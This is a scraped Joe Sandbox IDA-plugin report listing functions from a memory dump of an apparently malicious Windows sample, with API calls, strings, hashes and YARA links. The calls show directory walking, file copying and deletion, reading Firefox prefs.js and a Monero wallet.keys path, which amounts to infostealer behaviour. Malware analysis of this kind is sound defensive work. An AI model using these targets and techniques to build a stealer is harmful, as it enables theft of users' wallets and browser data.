Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 24947b0b93c51209620e5f9d0402dffcc39aff4fc7373b3362a25cad64ae5a57
Instruction ID: 2ec927b693910a9e0d0a0e5f2917b7b39f465bf1c17cf38094847d3165624e3f
Opcode Fuzzy Hash: 24947b0b93c51209620e5f9d0402dffcc39aff4fc7373b3362a25cad64ae5a57
Instruction Fuzzy Hash: 2B6174B1500219ABCB64EBE4DC49FEA73BCFB59700F048588A60DD6185EB35DB85CF92

Function 00874570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00874580
RtlAllocateHeap.NTDLL(00000000), ref: 00874587
wsprintfA.USER32 ref: 008745A6
FindFirstFileA.KERNEL32(?,?), ref: 008745BD
StrCmpCA.SHLWAPI(?,00880FC4), ref: 008745EB
StrCmpCA.SHLWAPI(?,00880FC8), ref: 00874601
FindNextFileA.KERNEL32(000000FF,?), ref: 0087468B
FindClose.KERNEL32(000000FF), ref: 008746A0
lstrcat.KERNEL32(?,0116EE98), ref: 008746C5
lstrcat.KERNEL32(?,0116E2D8), ref: 008746D8
lstrlen.KERNEL32(?), ref: 008746E5
lstrlen.KERNEL32(?), ref: 008746F6

Strings

%s\%s, xrefs: 0087461B
%s\*, xrefs: 0087459A

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 87911bc577efa3a39babd81eafb5d1bf57f86934dc07851b49f04c7b89bceb8c
Instruction ID: dcbfe6f4e58b9a63a17d4504e422c917bb38573f8c8132aa167915259740bfe7
Opcode Fuzzy Hash: 87911bc577efa3a39babd81eafb5d1bf57f86934dc07851b49f04c7b89bceb8c
Instruction Fuzzy Hash: 8B5154B15402199BC764EBB4DC89FEA73BCFB68300F408588B61DD2194EB74DA85CF92

Function 00873EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00873EC3
FindFirstFileA.KERNEL32(?,?), ref: 00873EDA
StrCmpCA.SHLWAPI(?,00880FAC), ref: 00873F08
StrCmpCA.SHLWAPI(?,00880FB0), ref: 00873F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0087406C
FindClose.KERNEL32(000000FF), ref: 00874081

Strings

%s\%s, xrefs: 00873EB7

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: a590de9cbaf31706e2c2da58ca28d00e777ae8d7d1a5fa8a14686798b7fcb53f
Instruction ID: b5ea35a1ac4dbed4d117518ac2b856e9881da1d219744e41d34249d4e658178f
Opcode Fuzzy Hash: a590de9cbaf31706e2c2da58ca28d00e777ae8d7d1a5fa8a14686798b7fcb53f
Instruction Fuzzy Hash: 1F5147B2900219ABCB64EBB4DC45EEA73BCFB58300F408588B65DD6084DB75DB86CF52

Function 0086ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0086ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0086ED55
StrCmpCA.SHLWAPI(?,00881538), ref: 0086EDAB
StrCmpCA.SHLWAPI(?,0088153C), ref: 0086EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0086F2AE
FindClose.KERNEL32(000000FF), ref: 0086F2C3

Strings

%s\*.*, xrefs: 0086ED32

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 8a877be13600dd188e965ad739958e8d5c535b5f8b6567073a6efcb2bf1a3252
Instruction ID: 9dc21b847abcc916228d03a2f554e77d3c511fdf5519c9e4a231b932d3fb8060
Opcode Fuzzy Hash: 8a877be13600dd188e965ad739958e8d5c535b5f8b6567073a6efcb2bf1a3252
Instruction Fuzzy Hash: 04E1C0719111185ADB58FB64DC91EEE7378FF94300F4081A9B51AE2096EF30AB8ACF53

Function 0086F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008815B8,00880D96), ref: 0086F71E
StrCmpCA.SHLWAPI(?,008815BC), ref: 0086F76F
StrCmpCA.SHLWAPI(?,008815C0), ref: 0086F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0086FAB1
FindClose.KERNEL32(000000FF), ref: 0086FAC3

Strings

prefs.js, xrefs: 0086F812

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9ca863b739d2dfecf96b2bb3fb9c18173af87b81aaa4f7b6731473416123887e
Instruction ID: 6f1379a5f19ace771bd2c505f72ee232d58292e2bfdfb25a408f1f171d8e4e22
Opcode Fuzzy Hash: 9ca863b739d2dfecf96b2bb3fb9c18173af87b81aaa4f7b6731473416123887e
Instruction Fuzzy Hash: E9B112719001189BDB28FB68DC95AEE7379FF94300F4085A8A51ED6196EF30DB49CB93

Function 008616D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0088510C,?,?,?,008851B4,?,?,00000000,?,00000000), ref: 00861923
StrCmpCA.SHLWAPI(?,0088525C), ref: 00861973
StrCmpCA.SHLWAPI(?,00885304), ref: 00861989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00861D40
DeleteFileA.KERNEL32(00000000), ref: 00861DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00861E20
FindClose.KERNEL32(000000FF), ref: 00861E32

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Strings

\*.*, xrefs: 008617F1

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: f61c5e357d3ff107f7e8d90c9756503501e5fc4876f80a4d96e4e161b166c00b
Instruction ID: 3a9cb403ad49e79ea4e5a2172452c645177b4467fe397a28e6694f99280a372d
Opcode Fuzzy Hash: f61c5e357d3ff107f7e8d90c9756503501e5fc4876f80a4d96e4e161b166c00b
Instruction Fuzzy Hash: 2F12E2719101189ADB59FB64CC95EEE7778FF94300F4081A9A52ED2095EF30AB89CF93

Function 0086DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00880C2E), ref: 0086DE5E
StrCmpCA.SHLWAPI(?,008814C8), ref: 0086DEAE
StrCmpCA.SHLWAPI(?,008814CC), ref: 0086DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0086E3E0
FindClose.KERNEL32(000000FF), ref: 0086E3F2

Strings

\*.*, xrefs: 0086DE26

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: dfadb620f63ae2832f1dadbac726de76492200e6d2e23a7930a49f96dc149e78
Instruction ID: 3e9233d546b7699e3123674aa482e1ffc958eaf968dbf9bf5a5a0c589b2cf9be
Opcode Fuzzy Hash: dfadb620f63ae2832f1dadbac726de76492200e6d2e23a7930a49f96dc149e78
Instruction Fuzzy Hash: 76F18F719141189ADB19FB64CC95EEE7378FF54300F4081A9A52EA2095EF34AB8ACF53

Function 0086DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008814B0,00880C2A), ref: 0086DAEB
StrCmpCA.SHLWAPI(?,008814B4), ref: 0086DB33
StrCmpCA.SHLWAPI(?,008814B8), ref: 0086DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0086DDCC
FindClose.KERNEL32(000000FF), ref: 0086DDDE

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 597a768e956846c3073575dc0ef26bed3a52f4f9f90d66c9b7919102d154935d
Instruction ID: 809e59f66f5dbd6e2246d20c94ff500eecf5b09ffb0fe8e36e311bc6f467c909
Opcode Fuzzy Hash: 597a768e956846c3073575dc0ef26bed3a52f4f9f90d66c9b7919102d154935d
Instruction Fuzzy Hash: 3A913F72A0020497CB18FBB8DC969EE737DFBD4300F418568A95AD6185EF34DB098B93

Function 00C2FBF6 Relevance: 11.6, Strings: 8, Instructions: 1610COMMON

Download Yara Rule

Strings

X?>, xrefs: 00C30019
.$w~, xrefs: 00C30A0A
G;*, xrefs: 00C30591
fkC, xrefs: 00C30A9E
g$u}, xrefs: 00C3021D
]l1, xrefs: 00C308F3
sVGu, xrefs: 00C30F10
]l1, xrefs: 00C30898

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$w~$X?>$]l1$]l1$fkC$g$u}$sVGu$G;*
API String ID: 0-1463576589
Opcode ID: d27e1e8e3ae3442df0a85a50f21ca79775df0c671964d578be62a4f954c8990d
Instruction ID: 9ac09cccba7c2676d3f55dd61d8894ce393afa83304e5e95bdf9221075b0b5f1
Opcode Fuzzy Hash: d27e1e8e3ae3442df0a85a50f21ca79775df0c671964d578be62a4f954c8990d
Instruction Fuzzy Hash: C6B217F350C2049FE304AE2DEC8567AFBE9EB94320F16893DEAC4C7744EA3558058697

Function 00877B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

GetKeyboardLayoutList.USER32(00000000,00000000,008805AF), ref: 00877BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00877BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00877C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00877C62
LocalFree.KERNEL32(00000000), ref: 00877D22

Strings

/ , xrefs: 00877C7F

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 64161998585080adfb89118161d5867e6ff3ee537944ea1c916e305b16e7684f
Instruction ID: 40be45f577a747a292bfc5b7802181f18670be27fa2bfae5862ba5cf650049d0
Opcode Fuzzy Hash: 64161998585080adfb89118161d5867e6ff3ee537944ea1c916e305b16e7684f
Instruction Fuzzy Hash: D5416071940118ABCB24DB94DC89FEEB7B4FF58700F108199E11DA2284DB346F85CFA2

Function 00C2A98F Relevance: 10.4, Strings: 7, Instructions: 1655COMMON

Download Yara Rule

Strings

